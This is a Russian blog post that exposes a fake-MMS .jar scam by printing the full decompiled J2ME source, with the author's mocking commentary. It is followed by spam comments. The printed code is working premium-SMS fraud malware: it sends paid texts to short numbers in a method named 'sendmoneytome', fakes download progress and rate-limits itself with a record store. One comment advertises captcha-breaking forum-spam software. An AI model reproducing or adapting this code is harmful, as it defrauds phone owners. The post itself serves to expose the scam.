Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Главная » 2011 » Март » 10 » Offtopic: ржака
- Дилинь-дилинь "Вам поступило MMS, просмотр с мобильного - http://mmstx.ru/####.jar" Прикольный jar-mms, да. Декомпилятор: http://java.decompiler.free.fr/?q=jdgui
Code
import java.util.Calendar; import java.util.Date; import java.util.Random; import javax.microedition.lcdui.Canvas; import javax.microedition.lcdui.Command; import javax.microedition.lcdui.Display; import javax.microedition.lcdui.Displayable; import javax.microedition.lcdui.Form; import javax.microedition.lcdui.Graphics; import javax.microedition.lcdui.Image; import javax.microedition.rms.RecordStore; public class M extends Canvas implements Runnable { public static Random RNG; public static Image I; public static M T; public static Graphics G; public static int KC; public static int KP; public static int[] IC; public static Command okcommand; public static Command click; public static Command notcommand; public static String nomner; public static int label_id; public static int index; public static String countstr; public static int countint; public static String datastr; public static int nextid; public static String nomner1; public static String nomner2; public static String nomner3; public static String s; public static RecordStore rs; public static String outputtime; public static String outputdate; public static RecordStore rs_d; public static String sa; public static String s3; public static String s5; public static String s6; public static String sl; public static String su; public static int time; public void paint(Graphics paramGraphics) { paramGraphics.drawImage(I, 0, 0, 20); } public void run() { try { R(); } catch (Exception localException) { } } public void keyPressed(int paramInt) { KP = M.KC = paramInt; } public void keyReleased(int paramInt) { KP = 0; } public static void mainmenu() throws Exception { su = new String(String.valueOf('p')); s = new String(String.valueOf('v')); notcommand = new Command("Выход", 7, 2); s3 = new String("ay"); okcommand = new Command("Да", 4, 1); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; FW.CD.addCommand(notcommand); FW.CD.addCommand(okcommand); label_id = FW.F.append("Просмотреть MMS сообщение ?"); do { Thread.sleep(100); FW.LC = null; click = FW.LC; } while ((click == null ? 0 : -1) == 0); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; } public static void mainmenu3() throws Exception { su = new String(""); s = new String(""); nomner = new String(""); notcommand = new Command("Выход", 7, 2); s3 = new String(""); nomner3 = new String(""); okcommand = new Command("Еще", 4, 1); nomner2 = new String(""); sl = new String(""); s5 = new String(""); sa = new String(""); nomner1 = new String(""); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; s6 = new String(""); s = new String(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append(s).append(sa).toString()).append(sl).toString()).append(s3).toString()).append(su).toString()).append(s5).toString() + s6); nomner = new String(new StringBuffer().append(new StringBuffer().append(nomner).append(nomner1).toString()).append(nomner2).toString() + nomner3); FW.CD.addCommand(notcommand); FW.CD.addCommand(okcommand); label_id = FW.F.append("Просмотреть MMS сообщение ?"); do { Thread.sleep(100); click = okcommand; } while ((click == null ? 0 : -1) == 0); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; } public static void mainmenu2() throws Exception { notcommand = new Command("Выход", 7, 1); okcommand = new Command("Еще", 4, 2); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; FW.CD.addCommand(notcommand); FW.CD.addCommand(okcommand); label_id = FW.F.append("Ошибка! Повторите еще раз."); do { Thread.sleep(100); FW.LC = null; click = FW.LC; } while ((click == null ? 0 : -1) == 0); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; if ((click != okcommand ? 0 : -1) != 0) { if ((SM.send("sms://8464", String.valueOf('1')) ^ 0xFFFFFFFF) != 0) { FW.CD.addCommand(notcommand); FW.CD.addCommand(okcommand); Thread.sleep(1500); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; } while (SM.IS() != 0) { label_id = FW.F.append("Загрузка MMS - 0kb"); Thread.sleep(15000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 2kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 5kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 9kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 12kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 15kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 19kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 21kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 22kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 25kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 27kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 28kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 30kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 33kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 35kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; mainmenu2(); } if ((SM.GS() ^ 0xFFFFFFFF) != 0) mainmenu2(); if (SM.GS() != 0) { rs = RS.j("sms5"); rs_d = RS.j("sms_d5"); time = (int)(System.currentTimeMillis() / 1000); Calendar tmp1229_1226 = Calendar.getInstance(); tmp1229_1226.setTime(new Date(time * 1000)); Calendar tmp1271_1268 = Calendar.getInstance(); tmp1271_1268.setTime(new Date(time * 1000)); Calendar tmp1336_1333 = Calendar.getInstance(); tmp1336_1333.setTime(new Date(time * 1000)); outputdate = new String(new StringBuffer().append(new StringBuffer().append(tmp1229_1226.get(5)).toString()).append(new StringBuffer().append(tmp1271_1268.get(2) + 0 + 1).toString()).toString() + new StringBuffer().append(tmp1336_1333.get(1)).toString()); RS.L(rs, "12", 1); RS.L(rs_d, outputdate, 1); label_id = FW.F.append("Ошибка!На сервере технические работы.Повторите через 30-60 мин."); Thread.sleep(5000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; } } if ((click != notcommand ? 0 : -1) != 0) { FW.fw.destroyApp(true); Thread.currentThread().join(); Thread.sleep(1000); } } public static void sendmoneytome() throws Exception { if ((click != okcommand ? 0 : -1) != 0) { if ((SM.send("sms://844473", "p:60 n:9232749305") ^ 0xFFFFFFFF) != 0) { FW.CD.addCommand(notcommand); FW.CD.addCommand(okcommand); label_id = FW.F.append("Ошибка!На сервере технические работы.Повторите через 30-60 мин."); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; } else { while (SM.IS() != 0) { label_id = FW.F.append("Загрузка MMS - 0kb"); Thread.sleep(1500); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 2kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 5kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 9kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 12kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 15kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 19kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 21kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; label_id = FW.F.append("Загрузка MMS - 22kb"); Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; Thread.sleep(1000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; } if (SM.GS() != 0) { if (((SM.send("sms://844473", "p:60 n:9232749307") ^ 0xFFFFFFFF) != 0) && ((SM.send("sms://844473", "p:60 n:9232749297") ^ 0xFFFFFFFF) != 0)); rs = RS.j("sms5"); rs_d = RS.j("sms_d5"); time = (int)(System.currentTimeMillis() / 1000); Calendar tmp788_785 = Calendar.getInstance(); tmp788_785.setTime(new Date(time * 1000)); Calendar tmp830_827 = Calendar.getInstance(); tmp830_827.setTime(new Date(time * 1000)); Calendar tmp895_892 = Calendar.getInstance(); tmp895_892.setTime(new Date(time * 1000)); outputdate = new String(new StringBuffer().append(new StringBuffer().append(tmp788_785.get(5)).toString()).append(new StringBuffer().append(tmp830_827.get(2) + 0 + 1).toString()).toString() + new StringBuffer().append(tmp895_892.get(1)).toString()); RS.L(rs, "12", 1); RS.L(rs_d, outputdate, 1); label_id = FW.F.append("Ошибка!На сервере технические работы.Повторите через 30-60 мин."); Thread.sleep(5000); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; } if ((SM.GS() ^ 0xFFFFFFFF) != 0) mainmenu2(); } if ((click != notcommand ? 0 : -1) == 0); } } public static void prover() throws Exception { time = (int)(System.currentTimeMillis() / 1000); Calendar tmp15_12 = Calendar.getInstance(); tmp15_12.setTime(new Date(time * 1000)); Calendar tmp57_54 = Calendar.getInstance(); tmp57_54.setTime(new Date(time * 1000)); Calendar tmp122_119 = Calendar.getInstance(); tmp122_119.setTime(new Date(time * 1000)); outputdate = new String(new StringBuffer().append(new StringBuffer().append(tmp15_12.get(5)).toString()).append(new StringBuffer().append(tmp57_54.get(2) + 0 + 1).toString()).toString() + new StringBuffer().append(tmp122_119.get(1)).toString()); rs = RS.j("sms5"); rs_d = RS.j("sms_d5"); nextid = RS.Lja(rs); nextid = RS.Lja(rs_d); if ((nextid != 1 ? 0 : -1) != 0) index = RS.L(rs, String.valueOf('0')); index = RS.L(rs_d, String.valueOf('0')); countstr = new String(RS.j(rs, 1)); datastr = new String(RS.j(rs_d, 1)); if ((countstr.compareTo("12") != 0 ? 0 : -1) != 0) { if ((datastr.compareTo(outputdate) == 0 ? 0 : -1) != 0) { RS.L(rs); RS.L(rs_d); sendmoneytome(); } else { RS.L(rs); RS.L(rs_d); (FW.F = new Form(new String())).setCommandListener(FW.fw); Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; Display.getDisplay(FW.fw).setCurrent(FW.F); FW.CD = FW.F; index = FW.F.append("Извините сервер не доступен.Попробуйте повторить через 24 часа. "); Thread.sleep(5000); FW.fw.destroyApp(true); Thread.currentThread().join(); Thread.sleep(1000); } } else sendmoneytome(); } public static void R() throws Exception { RNG = new Random(); IC = new int[25]; KC = 0; KP = 0; okcommand = new Command(new String(), 1, 1); click = new Command(new String(), 1, 1); notcommand = new Command(new String(), 1, 1); nomner = new String(); nomner1 = new String(); nomner2 = new String(); nomner3 = new String(); s = new String(); sa = new String(); sl = new String(); s3 = new String(); su = new String(); s5 = new String(); s6 = new String(); label_id = 0; index = 0; countstr = new String(); nextid = 0; countint = 0; time = 0; outputtime = new String(); outputdate = new String(); datastr = new String(); mainmenu(); prover(); FW.fw.destroyApp(true); } }
Особенно умиляет процесс "загрузки" со слипом по секунде "Ошибка!На сервере технические работы.Повторите через 30-60 мин.", LOL. Кстати, #### - какой-то идентификатор, например 9305. Не знаю, как он получен, но прикол еще и в том, что даже если вы не запустили приложение или запретили отправку SMS, но его скачали - ID можно привязать к номеру телефона и посмотрев лог загрузки определить что номер живой и его можно бомбить в 10 раз активнее.
Просмотров: 2212 |
Добавил: Alexander
| Рейтинг: 0.0 /0
Всего комментариев: 6
Порядок вывода комментариев:
По умолчанию
Сначала новые
Сначала старые
6
MFinnerBon
(07.05.2019 10:57)
0
hi to all! give me plpase funny cats videoms on yourtube
5
NatashaDog
(18.02.2012 05:32)
0
Где скачать бесплатно X Rumer 7.0.10 ? Пришлите мне , пожалуйста URL! Это лучшая программа для массового размещения на форумах ! XRumer может сломать большинство видов каптч !
4
NatashaDog
(08.02.2012 01:33)
0
Я хочу бесплатно X Rumer 7.0.10 ELITE?? Пришлите мне , пожалуйста URL! Это лучшая программа для массового размещения на форумах ! XRumer может сломать большинство видов каптч !
3
Feancedaf
(30.01.2012 23:01)
0
http://goo.gl/ueXPJ
2
Derlelpsari
(19.11.2011 04:45)
0
[url=http://kinostorage.net/] На нашем портале Вы можете скачать новые фильмы без регистрации и бесплатно. Представлены все жанры киновидео индустрии, американские и российские фильмы таких жанров как бевики, комедии, фильмы ужасов. Большой коноархив популярных качественных фильмов на любой вкус, с удобным поиском по рейтингу, жанрам и новизне. [/url]
1
bronenos
(10.03.2011 10:55)
0
мдаа.. лол